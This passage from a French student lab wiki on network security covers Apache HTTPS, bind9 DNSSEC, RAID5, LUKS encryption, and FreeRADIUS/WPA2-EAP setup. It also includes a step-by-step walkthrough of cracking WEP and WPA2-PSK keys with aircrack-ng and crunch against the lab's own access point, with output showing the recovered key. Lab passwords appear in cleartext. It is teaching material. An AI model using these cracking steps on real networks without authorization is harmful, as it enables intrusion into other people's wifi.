 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5, pourquoi?'''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w','''&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     '''Raid Level : raid5'''&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 '''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 '''/dev/md0		/media/raid	ext4		defaults				0		1'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
